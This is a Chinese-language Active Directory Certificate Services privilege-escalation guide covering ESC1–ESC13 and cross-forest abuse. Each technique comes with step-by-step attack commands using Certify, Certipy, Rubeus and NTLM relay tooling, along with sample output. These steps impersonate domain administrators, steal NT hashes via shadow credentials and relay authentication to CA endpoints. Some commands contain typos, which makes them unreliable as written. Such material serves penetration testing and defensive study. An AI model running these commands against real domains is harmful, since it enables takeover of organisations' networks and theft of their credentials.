AD CS Domain Escalation
这是关于升级技术部分的摘要：
配置错误的证书模板 - ESC1
解释
解释配置错误的证书模板 - ESC1
企业CA授予低特权用户注册权限。
不需要经理批准。
不需要授权人员的签名。
证书模板上的安全描述符过于宽松，允许低特权用户获取注册权限。
证书模板配置为定义促进身份验证的EKU：
包括扩展密钥用途（EKU）标识符，如客户端身份验证（OID 1.3.6.1.5.5.7.3.2）、PKINIT客户端身份验证（1.3.6.1.5.2.3.4）、智能卡登录（OID 1.3.6.1.4.1.311.20.2.2）、任何目的（OID 2.5.29.37.0）或无EKU（SubCA）。
请求者可以在证书签名请求（CSR）中包含subjectAltName的能力是由模板允许的：
如果存在，Active Directory（AD）会优先使用证书中的subjectAltName（SAN）进行身份验证。这意味着通过在CSR中指定SAN，可以请求证书以冒充任何用户（例如，域管理员）。请求者是否可以指定SAN在证书模板的AD对象中通过
mspki-certificate-name-flag属性指示。此属性是一个位掩码，CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志的存在允许请求者指定SAN。
所述配置允许低特权用户请求具有任意选择的SAN的证书，从而通过Kerberos或SChannel进行任何域主体的身份验证。
有时启用此功能以支持产品或部署服务的即时生成HTTPS或主机证书，或由于缺乏理解。
值得注意的是，使用此选项创建证书会触发警告，当复制现有证书模板（例如启用了CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT的WebServer模板）然后修改以包含身份验证OID时，情况并非如此。
滥用
要查找易受攻击的证书模板，您可以运行：
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128要利用此漏洞冒充管理员，可以运行：
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'然后，您可以将生成的证书转换为.pfx格式，并再次使用Rubeus或certipy进行身份验证：
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100Windows二进制文件"Certreq.exe"和"Certutil.exe"可用于生成PFX：https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
可以通过运行以下LDAP查询来枚举AD Forest配置模式中的证书模板，特别是那些不需要批准或签名，具有客户端身份验证或智能卡登录EKU，并启用了CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志的证书模板：
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))配置错误的证书模板 - ESC2
解释
第二种滥用场景是第一种的变体：
企业 CA 向低权限用户授予了注册权限。
禁用了经理批准的要求。
省略了授权签名的需求。
证书模板上的过于宽松的安全描述符授予了低权限用户的证书注册权限。
证书模板被定义为包含 Any Purpose EKU 或没有 EKU。
Any Purpose EKU 允许攻击者为任何目的获取证书，包括客户端认证、服务器认证、代码签名等。可以使用与 ESC3 相同的技术来利用这种情况。
没有 EKUs 的证书，作为下级 CA 证书，可以被滥用为任何目的，也可以用于签署新证书。因此，攻击者可以利用下级 CA 证书指定新证书中的任意 EKUs 或字段。
然而，为域认证创建的新证书如果下级 CA 未被 NTAuthCertificates 对象信任（默认设置），将无法正常运行。尽管如此，攻击者仍然可以创建具有任何 EKU 和任意证书值的新证书。这些可能会被滥用为各种目的（例如代码签名、服务器认证等），并且可能对网络中的其他应用程序（如 SAML、AD FS 或 IPSec）产生重大影响。
要枚举符合 AD Forest 配置模式中此场景的模板，可以运行以下 LDAP 查询：
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))配置错误的注册代理模板 - ESC3
解释
这种情况类似于前两种，但滥用了不同的 EKU（证书请求代理）和 2 种不同的模板（因此有 2 组要求）。
证书请求代理 EKU（OID 1.3.6.1.4.1.311.20.2.1），在 Microsoft 文档中称为注册代理，允许主体代表另一个用户为证书进行注册。
“注册代理”在这种模板中进行注册，并使用生成的证书共同签署代表其他用户的 CSR。然后发送共同签署的 CSR 到 CA，注册在允许“代表注册”的模板中，CA 会回复一个属于“其他”用户的证书。
要求 1:
企业 CA 授予低特权用户注册权限。
不需要经理批准。
不需要授权签名。
证书模板的安全描述符过于宽松，授予低特权用户注册权限。
证书模板包含证书请求代理 EKU，允许代表其他主体请求其他证书模板。
要求 2:
企业 CA 授予低特权用户注册权限。
绕过经理批准。
模板的模式版本为 1 或超过 2，并指定了一个需要证书请求代理 EKU 的应用程序策略签发要求。
证书模板中定义的 EKU 允许域身份验证。
CA 上未应用注册代理的限制。
滥用
您可以使用 Certify 或 Certipy 来滥用这种情况：
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf用户允许获取注册代理证书的人，注册代理允许注册的模板，以及注册代理可以代表的帐户可以受到企业CA的限制。这可以通过打开certsrc.msc 快捷方式，右键单击CA，单击属性，然后导航到“注册代理”选项卡来实现。
然而，值得注意的是，CA的默认设置是“不限制注册代理”。当管理员启用对注册代理的限制时，将其设置为“限制注册代理”，默认配置仍然非常宽松。它允许所有人访问并在所有模板中注册。
可被攻击的证书模板访问控制 - ESC4
解释
证书模板上的安全描述符定义了特定AD主体对模板的权限。
如果攻击者具有修改****模板并实施在前几节中概述的任何可利用的配置错误所需的权限，则可能促成特权升级。
适用于证书模板的显着权限包括：
**所有者：**授予对对象的隐式控制，允许修改任何属性。
**完全控制：**在对象上拥有完全权限，包括修改任何属性的能力。
**WriteOwner：**允许将对象的所有者更改为攻击者控制下的主体。
**WriteDacl：**允许调整访问控制，可能授予攻击者完全控制。
**WriteProperty：**授权编辑任何对象属性。
滥用
类似于先前的特权升级的一个示例：
ESC4是指用户具有对证书模板的写权限。例如，可以滥用此权限来覆盖证书模板的配置，使模板容易受到ESC1的攻击。
如上路径所示，只有JOHNPC具有这些权限，但我们的用户JOHN具有到JOHNPC的新AddKeyCredentialLink边缘。由于此技术与证书相关，我也实施了此攻击，即所谓的Shadow Credentials。这里是Certipy的shadow auto命令的一个小窥视，用于检索受害者的NT哈希。
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'Certipy可以使用一条命令覆盖证书模板的配置。默认情况下，Certipy将覆盖配置以使其容易受到ESC1攻击。我们还可以指定-save-old参数来保存旧配置，这在攻击后恢复配置时会很有用。
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json脆弱的PKI对象访问控制 - ESC5
解释
相互连接的基于ACL的关系网络涵盖了除证书模板和证书颁发机构之外的多个对象，可能会影响整个AD CS系统的安全性。这些对象对安全性有重大影响，包括：
CA服务器的AD计算机对象，可能会通过S4U2Self或S4U2Proxy等机制受到损害。
CA服务器的RPC/DCOM服务器。
特定容器路径
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>内的任何后代AD对象或容器。该路径包括但不限于证书模板容器、证书颁发机构容器、NTAuthCertificates对象和Enrollment Services容器等容器和对象。
如果低权限攻击者设法控制这些关键组件中的任何一个，PKI系统的安全性可能会受到损害。
EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
解释
在CQure Academy文章中讨论的主题也涉及到Microsoft概述的**EDITF_ATTRIBUTESUBJECTALTNAME2标志的影响。当在证书颁发机构（CA）上激活此配置时，允许在主题备用名称中包含用户定义的值**，用于任何请求，包括那些从Active Directory®构建的请求。因此，此配置允许入侵者通过为域认证设置的任何模板进行注册，特别是那些对非特权用户开放的用户模板。结果，可以获得一个证书，使入侵者能够作为域管理员或域内的任何其他活动实体进行身份验证。
注意：通过在certreq.exe中使用-attrib "SAN:"参数（称为“名称值对”）将备用名称附加到证书签名请求（CSR）的方法，与ESC1中对SAN的利用策略形成对比。这里的区别在于帐户信息如何封装—在证书属性中，而不是在扩展中。
滥用
要验证设置是否已激活，组织可以使用以下命令与certutil.exe：
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"这个操作基本上使用了远程注册表访问，因此，另一种方法可能是：
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags工具如Certify和Certipy能够检测到这种错误配置并利用它：
# Detect vulnerabilities, including this one
Certify.exe find
# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local要更改这些设置，假设拥有域管理员权限或等效权限，可以从任何工作站执行以下命令：
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2要在您的环境中禁用此配置，可以使用以下命令删除标志：
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2在 2022 年 5 月的安全更新之后，新发布的证书将包含一个安全扩展，其中包含了请求者的 objectSid 属性。对于 ESC1，此 SID 是从指定的 SAN 派生而来。然而，对于ESC6，SID 反映了请求者的 objectSid，而不是 SAN。
要利用 ESC6，系统必须容易受到 ESC10（弱证书映射）的影响，该映射将SAN 优先于新的安全扩展。
易受攻击的证书颁发机构访问控制 - ESC7
攻击 1
解释
证书颁发机构的访问控制是通过一组权限来维护的，这些权限管理着 CA 的操作。可以通过访问 certsrv.msc，右键单击 CA，选择属性，然后导航到安全选项卡来查看这些权限。此外，可以使用 PSPKI 模块来枚举权限，例如：
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access这提供了关于主要权限的见解，即**ManageCA和ManageCertificates**，分别对应“CA管理员”和“证书管理员”的角色。
滥用
在证书颁发机构上拥有**ManageCA权限使主体能够使用PSPKI远程操纵设置。这包括切换EDITF_ATTRIBUTESUBJECTALTNAME2**标志，允许在任何模板中指定SAN，这是域提升的关键方面。
通过使用PSPKI的Enable-PolicyModuleFlag cmdlet，可以简化此过程，允许进行修改而无需直接GUI交互。
拥有**ManageCertificates**权限可促使批准待处理请求，有效地规避了“CA证书管理员批准”保障。
Certify和PSPKI模块的组合可用于请求、批准和下载证书：
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response : The certificate is still pending.
[*] Request ID : 336
[...]
# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336攻击 2
解释
在先前的攻击中，使用了**Manage CA权限来启用EDITF_ATTRIBUTESUBJECTALTNAME2标志以执行ESC6攻击**，但在重启CA服务（CertSvc）之前，这不会产生任何效果。当用户拥有Manage CA访问权限时，用户也被允许重新启动服务。然而，这并不意味着用户可以远程重新启动服务。此外，由于2022年5月的安全更新，ESC6在大多数已打补丁的环境中可能无法直接使用。
因此，这里提出另一种攻击。
先决条件：
仅**
ManageCA权限****
Manage Certificates权限（可以从ManageCA**授予）必须启用证书模板**
SubCA（可以从ManageCA**启用）
该技术依赖于具有Manage CA和Manage Certificates访问权限的用户可以发出失败的证书请求。SubCA证书模板易受ESC1攻击，但只有管理员可以在模板中注册。因此，用户可以请求注册**SubCA** - 将被拒绝 - 但然后由管理员颁发。
滥用
您可以通过将您的用户添加为新的官员来**授予自己Manage Certificates**访问权限。
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'SubCA 模板可以使用 -enable-template 参数在 CA 上启用。默认情况下，SubCA 模板已启用。
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it
# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'如果我们已经满足了这次攻击的先决条件，我们可以开始通过基于SubCA模板请求证书。
这个请求将被拒绝，但我们会保存私钥并记录请求ID。
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate使用我们的 Manage CA 和 Manage Certificates，然后我们可以使用 ca 命令和 -issue-request <request ID> 参数来 发出失败的证书 请求。
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate最后，我们可以使用req命令和-retrieve <request ID>参数检索已发放的证书。
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'NTLM Relay to AD CS HTTP Endpoints – ESC8
解释
AD CS支持几种基于HTTP的注册方法，通过管理员安装的附加服务器角色提供。这些基于HTTP的证书注册接口容易受到NTLM中继攻击的影响。攻击者可以从受攻击的计算机上冒充通过入站NTLM进行身份验证的任何AD帐户。在冒充受害者帐户的同时，攻击者可以访问这些Web接口，使用User或Machine证书模板请求客户端认证证书。
网络注册接口（位于
http://<caserver>/certsrv/的较旧的ASP应用程序）默认仅支持HTTP，不提供对NTLM中继攻击的保护。此外，它明确只通过其授权HTTP标头允许NTLM身份验证，使更安全的身份验证方法如Kerberos无法应用。证书注册服务（CES）、证书注册策略（CEP）Web服务和网络设备注册服务（NDES）默认支持通过其授权HTTP标头进行协商身份验证。协商身份验证同时支持Kerberos和NTLM，允许攻击者在中继攻击期间降级到NTLM身份验证。尽管这些Web服务默认启用HTTPS，但仅使用HTTPS无法防范NTLM中继攻击。对于HTTPS服务，防范NTLM中继攻击只有在HTTPS与通道绑定结合时才可能。遗憾的是，AD CS未在IIS上激活扩展保护以进行身份验证，这是通道绑定所必需的。
NTLM中继攻击的一个常见问题是NTLM会话的短暂持续时间以及攻击者无法与需要NTLM签名的服务进行交互。
然而，通过利用NTLM中继攻击来获取用户的证书，可以克服这一限制，因为证书的有效期决定了会话的持续时间，并且证书可以与要求NTLM签名的服务一起使用。有关使用窃取的证书的说明，请参阅：
AD CS Account PersistenceNTLM中继攻击的另一个限制是攻击者控制的计算机必须由受害者帐户进行身份验证。攻击者可以等待或尝试强制进行此身份验证：
Force NTLM Privileged Authentication滥用
Certify的cas列举了已启用的HTTP AD CS端点：
Certify.exe cas
msPKI-Enrollment-Servers属性被企业证书颁发机构（CAs）用来存储证书颁发服务（CES）端点。可以通过工具Certutil.exe解析并列出这些端点：
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
滥用证书
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080
## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>利用 Certipy
Certipy默认根据账户名是否以$结尾来基于Machine或User模板发出证书请求。可以通过使用-template参数来指定替代模板。
然后可以使用类似 PetitPotam 的技术来强制进行身份验证。在处理域控制器时，需要指定-template DomainController。
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...无安全扩展 - ESC9
解释
新值 CT_FLAG_NO_SECURITY_EXTENSION (0x80000) 用于 msPKI-Enrollment-Flag 的 ESC9，防止在证书中嵌入 新的 szOID_NTDS_CA_SECURITY_EXT 安全扩展。当 StrongCertificateBindingEnforcement 设置为 1（默认设置）时，此标志变得重要，与设置为 2 相对。在较弱的证书映射（如 ESC10）可能被利用的情况下，此标志变得更加重要，因为缺少 ESC9 不会改变要求。
设置此标志变得重要的条件包括：
StrongCertificateBindingEnforcement未调整为2（默认为1），或CertificateMappingMethods包含UPN标志。证书在
msPKI-Enrollment-Flag设置中标记了CT_FLAG_NO_SECURITY_EXTENSION标志。证书指定了任何客户端身份验证 EKU。
可以通过任何帐户获得
GenericWrite权限以妥协另一个帐户。
滥用场景
假设 John@corp.local 拥有对 Jane@corp.local 的 GenericWrite 权限，目标是妥协 Administrator@corp.local。Jane@corp.local 被允许注册的 ESC9 证书模板在其 msPKI-Enrollment-Flag 设置中配置了 CT_FLAG_NO_SECURITY_EXTENSION 标志。
首先，使用 Shadow 凭据获取 Jane 的哈希，感谢 John 的 GenericWrite：
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane随后，Jane 的 userPrincipalName 被修改为 Administrator，有意省略了 @corp.local 域部分：
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator这种修改不违反约束条件，因为 Administrator@corp.local 作为 Administrator 的 userPrincipalName 仍然保持不同。
随后，将以 Jane 的身份请求标记为易受攻击的 ESC9 证书模板：
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9证书的userPrincipalName反映了Administrator，没有任何“object SID”。
然后将Jane的userPrincipalName恢复为她的原始名称Jane@corp.local：
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local尝试使用颁发的证书进行身份验证现在会产生Administrator@corp.local的NT哈希。由于证书缺乏域规范，命令必须包括-domain <domain>：
certipy auth -pfx adminitrator.pfx -domain corp.local证书映射弱点 - ESC10
解释
域控制器上的两个注册表键值被 ESC10 提及：
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel下CertificateMappingMethods的默认值为0x18(0x8 | 0x10), 先前设置为0x1F。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc下StrongCertificateBindingEnforcement的默认设置为1, 先前为0。
情况 1
当 StrongCertificateBindingEnforcement 配置为 0 时。
情况 2
如果 CertificateMappingMethods 包括 UPN 位 (0x4)。
滥用案例 1
当 StrongCertificateBindingEnforcement 配置为 0 时，具有 GenericWrite 权限的帐户 A 可被利用来危害任何帐户 B。
例如，拥有对 Jane@corp.local 的 GenericWrite 权限，攻击者旨在危害 Administrator@corp.local。该过程与 ESC9 相似，允许利用任何证书模板。
首先，使用 Shadow 凭据利用 GenericWrite 获取 Jane 的哈希。
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane随后，Jane 的 userPrincipalName 被更改为 Administrator，故意省略了 @corp.local 部分，以避免违反约束。
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator以下是以Jane身份，使用默认的User模板请求启用客户端身份验证的证书。
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>Jane的userPrincipalName然后被恢复为其原始值Jane@corp.local。
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local通过获得的证书进行身份验证将产生Administrator@corp.local的NT哈希，由于证书中缺少域详细信息，因此需要在命令中指定域。
certipy auth -pfx administrator.pfx -domain corp.local滥用案例 2
当CertificateMappingMethods包含UPN位标志(0x4)时，具有GenericWrite权限的帐户A可以妥协任何缺少userPrincipalName属性的帐户B，包括机器帐户和内置域管理员Administrator。
在这里，目标是通过Shadow凭据获取Jane的哈希，利用GenericWrite来妥协DC$@corp.local。
certipy shadow auto -username John@corp.local -p Passw0rd! -account JaneJane的userPrincipalName然后设置为DC$@corp.local。
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'一个用默认的User模板请求Jane作为客户端认证的证书。
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>Jane的userPrincipalName在此过程后被恢复为原始值。
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'使用Schannel进行身份验证时，Certipy的-ldap-shell选项被使用，指示认证成功为u:CORP\DC$。
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell通过LDAP shell，诸如 set_rbcd 这样的命令可以启用基于资源的受限委派（RBCD）攻击，可能会危及域控制器。
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell这个漏洞还涉及到任何缺乏userPrincipalName的用户账户，或者其userPrincipalName与sAMAccountName不匹配的情况，因为默认的Administrator@corp.local由于其提升的LDAP权限以及默认情况下缺乏userPrincipalName而成为主要目标。
将 NTLM 中继到 ICPR - ESC11
解释
如果 CA 服务器未配置IF_ENFORCEENCRYPTICERTREQUEST，则可以通过 RPC 服务进行未签名的 NTLM 中继攻击。参考此处。
您可以使用certipy来枚举是否已禁用Enforce Encryption for Requests，certipy将显示ESC11漏洞。
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
Certificate Authorities
0
CA Name : DC01-CA
DNS Name : DC01.domain.local
Certificate Subject : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests : Disabled
....
[!] Vulnerabilities
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
滥用场景
需要设置一个中继服务器：
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...注意：对于域控制器，我们必须在 DomainController 中指定 -template。
或者使用 sploutchy 的 impacket 分支：
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support使用YubiHSM访问ADCS CA的Shell访问 - ESC12
解释
管理员可以设置证书颁发机构将其存储在外部设备上，如"Yubico YubiHSM2"。
如果USB设备通过USB端口连接到CA服务器，或者如果CA服务器是虚拟机，则需要一个身份验证密钥（有时称为"密码"）供密钥存储提供程序在YubiHSM中生成和使用密钥。
此密钥/密码以明文形式存储在注册表中的 HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword。
参考这里。
滥用场景
如果CA的私钥存储在物理USB设备上，当您获得shell访问权限时，就有可能恢复密钥。
首先，您需要获取CA证书（这是公开的），然后：
# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>OID组链接滥用 - ESC13
解释
msPKI-Certificate-Policy 属性允许将签发策略添加到证书模板中。负责签发策略的 msPKI-Enterprise-Oid 对象可以在 PKI OID 容器的配置命名上下文（CN=OID,CN=Public Key Services,CN=Services）中找到。可以使用此对象的 msDS-OIDToGroupLink 属性将策略链接到 AD 组，从而使系统能够授权呈现证书的用户，就好像他是该组的成员一样。参考链接。
换句话说，当用户有权限注册证书并且证书链接到 OID 组时，用户可以继承该组的特权。
使用 Check-ADCSESC13.ps1 查找 OIDToGroupLink：
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------滥用场景
使用 certipy find 或 Certify.exe find /showAllPermissions 查找用户权限。
如果 John 有权限注册 VulnerableTemplate，该用户可以继承 VulnerableGroup 组的特权。
只需指定模板，用户就可以获得具有 OIDToGroupLink 权限的证书。
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'通过证书解释被动语态下的森林升级
通过被入侵的CA打破森林信任
跨森林注册的配置相对简单。资源森林中的根CA证书由管理员发布到帐户森林，资源森林中的企业CA证书被添加到每个帐户森林中的NTAuthCertificates和AIA容器。澄清一下，这种安排赋予了资源森林中的CA对其管理的所有其他森林完全控制。如果这个CA被攻击者入侵，则两个森林中所有用户的证书都可能被他们伪造，从而打破了森林的安全边界。
授予外部主体的注册权限
在多森林环境中，需要谨慎处理发布证书模板的企业CA，这些模板允许经过身份验证的用户或外部主体（属于企业CA所属森林之外的用户/组）注册和编辑权限。 通过信任进行身份验证时，AD会将经过身份验证的用户SID添加到用户的令牌中。因此，如果一个域拥有一个允许经过身份验证的用户注册权限的企业CA模板，一个来自不同森林的用户可能会注册该模板。同样，如果模板明确授予外部主体注册权限，则会创建一个跨森林访问控制关系，使一个森林的主体能够在另一个森林中注册模板。
这两种情况都会导致从一个森林到另一个森林的攻击面增加。攻击者可以利用证书模板的设置在外部域中获取额外权限。
最后更新于